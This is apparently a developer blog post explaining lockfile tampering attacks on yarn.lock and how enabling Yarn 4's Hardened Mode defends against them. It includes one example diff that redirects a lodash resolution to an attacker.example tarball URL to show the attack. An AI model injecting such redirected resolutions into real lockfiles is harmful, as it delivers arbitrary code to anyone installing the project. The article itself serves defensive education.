Contents
Introduction
The supply chain defense series covered how Dependabot cooldown and npmMinimalAgeGate prevent malicious new versions from entering the dependency tree. But there is one attack surface that cooldown does not cover — the lockfile itself being tampered with.
This article describes that risk and how Yarn 4’s Hardened Mode closes it.
The Risk: Lockfile Tampering
yarn.lock and package-lock.json record the exact version, hash, and resolution (download path) of every dependency. These files are typically thought of as tools for “reproducible builds,” but from a supply chain security perspective they are also an attack surface.
If an attacker can modify the lockfile to change something like this:
"[email protected]":
version: 4.17.21
- resolution: "lodash@npm:4.17.21"
+ resolution: "lodash@https://attacker.example/lodash-4.17.21.tgz"
- checksum: <legitimate hash>
+ checksum: <malicious tarball hash>
then at install time Yarn will fetch the tarball (the .tgz file containing the package source code and metadata — the format npm packages are distributed in) from the URL recorded in the lockfile, and only check whether the downloaded content matches the recorded hash. In other words, by tampering with the lockfile alone — without touching the npm registry — an attacker can deliver arbitrary code to any machine that runs yarn install.
Scenarios where this attack is viable:
- Malicious PR: An external contributor submits a PR that slightly modifies the lockfile, disguised as a legitimate dependency upgrade. A reviewer misses the one URL change buried in thousands of lines of lockfile diff.
- Developer machine compromise: A single developer’s machine is compromised, and the lockfile is committed with a malicious resolution injected.
- CI-stage compromise: The CI cache or a build step is compromised, and the lockfile is swapped out just before the build.
Cooldown cannot stop these attacks. Cooldown is a time-based filter that delays acceptance of newly published npm versions — it does not verify whether the lockfile’s own contents are honest.
How Hardened Mode Blocks the Attack
Yarn 4’s Hardened Mode enforces the following checks on every yarn install:
- Resolution verification: Does the resolution recorded in the lockfile for every package match the same version that actually exists on the official npm registry?
- Metadata consistency: Do the package name, version, and dependency tree match the metadata returned by the registry?
- Integrity hash: Does the hash of the downloaded tarball match the checksum in the lockfile?
The tampered example above (where resolution was changed to an attacker URL) fails the first check immediately. The [email protected] resolution in the lockfile does not match what the official npm registry has on record.
By default, Hardened Mode activates automatically in CI environments (CI=true). However, it is off by default in local development environments, meaning a scenario where a developer commits a tampered lockfile from their local machine would not be caught. Explicitly enabling it in .yarnrc.yml is the safer choice.
Real-World Cases
Does this attack actually happen? Here are two examples.
1. Liran Tal’s “Lockfile Injection” Research
In 2022, Liran Tal of Snyk published Lockfile Injection research analyzing the pattern where package-lock.json and yarn.lock become a blind spot in code review. The core observation:
Developers treat lockfile changes as automatically generated output and do not examine them closely. But because lockfiles record “where to download the tarball from,” changing a single line can redirect the source of an entire dependency.
Hardened Mode closes this blind spot at the verification stage. If the resolution in the lockfile does not match what the official registry has on record, the install is refused.
2. The Motivation Behind Yarn’s Own Implementation
The motivation Yarn’s team cited directly in the Hardened Mode RFC:
When we run
yarn installin CI, we assume the lockfile is honest. But a lockfile is a text file that can be modified via PRs. Without verifying that assumption, we cannot stop supply chain attacks disguised as legitimate PRs.
Hardened Mode is not a response to a hypothetical threat. It is a feature the package manager developers themselves identified as necessary to counter a real, recognized attack vector.
How to Apply It
Add one line to .yarnrc.yml:
# .yarnrc.yml
enableHardenedMode: true
npmMinimalAgeGate: 7d # cooldown — leave as-is if already applied
To verify the setting is active:
yarn config get enableHardenedMode
# true
In CI, any environment with CI=true set activates Hardened Mode automatically. Even so, explicitly enabling it in the config ensures identical behavior in local development.
Side Effects
Enabling Hardened Mode makes installs somewhat slower, because an additional registry metadata lookup happens for each package. The impact is noticeable in a typical monorepo, but well worth the security gain. The exact overhead scales with the number of dependencies in the project.
Limitations
Hardened Mode is not a complete solution. It is ineffective in these cases:
- If the npm registry itself is compromised: If the official registry returns tampered metadata, the lockfile comparison will pass even though the content is malicious. This scenario is a registry-level incident beyond what Hardened Mode can address.
- If an attacker publishes a legitimate-looking package on npm that matches the lockfile resolution: If an attacker publishes a package under their own name on npm and crafts it to match the lockfile’s resolution, Hardened Mode cannot catch it. This is a case where cooldown provides the complementary layer of protection.
- A new malicious version of an already-trusted package: If the package is published through normal channels, Hardened Mode has nothing to flag. This is cooldown’s domain.
For this reason, Hardened Mode and cooldown should be operated as a pair that covers different attack surfaces. Cooldown is responsible for the newly-published-version stage; Hardened Mode is responsible for lockfile honesty.
Conclusion
Hardened Mode is one of the lightest supply chain defenses available — a single line in .yarnrc.yml — but it provides outsized value by validating the lockfile, a part of the repository that is almost universally overlooked during reviews. It is effectively essential for open-source projects that accept PRs from external contributors, or for any monorepo environment where a lockfile diff can run to thousands of lines.
Combined with the SHA pinning, cooldown, and npmMinimalAgeGate covered in the supply chain defense series, it creates a two-layered defense covering both the newly-published-version stage and the install stage.
References
- Yarn
enableHardenedModeofficial documentation - Yarn Hardened Mode RFC
- Why npm lockfiles can be a security blindspot — Snyk
Was my blog helpful? Please leave a comment at the bottom. it will be a great help to me!
App promotion
Deku.Deku created the applications with Flutter.If you have interested, please try to download them for free.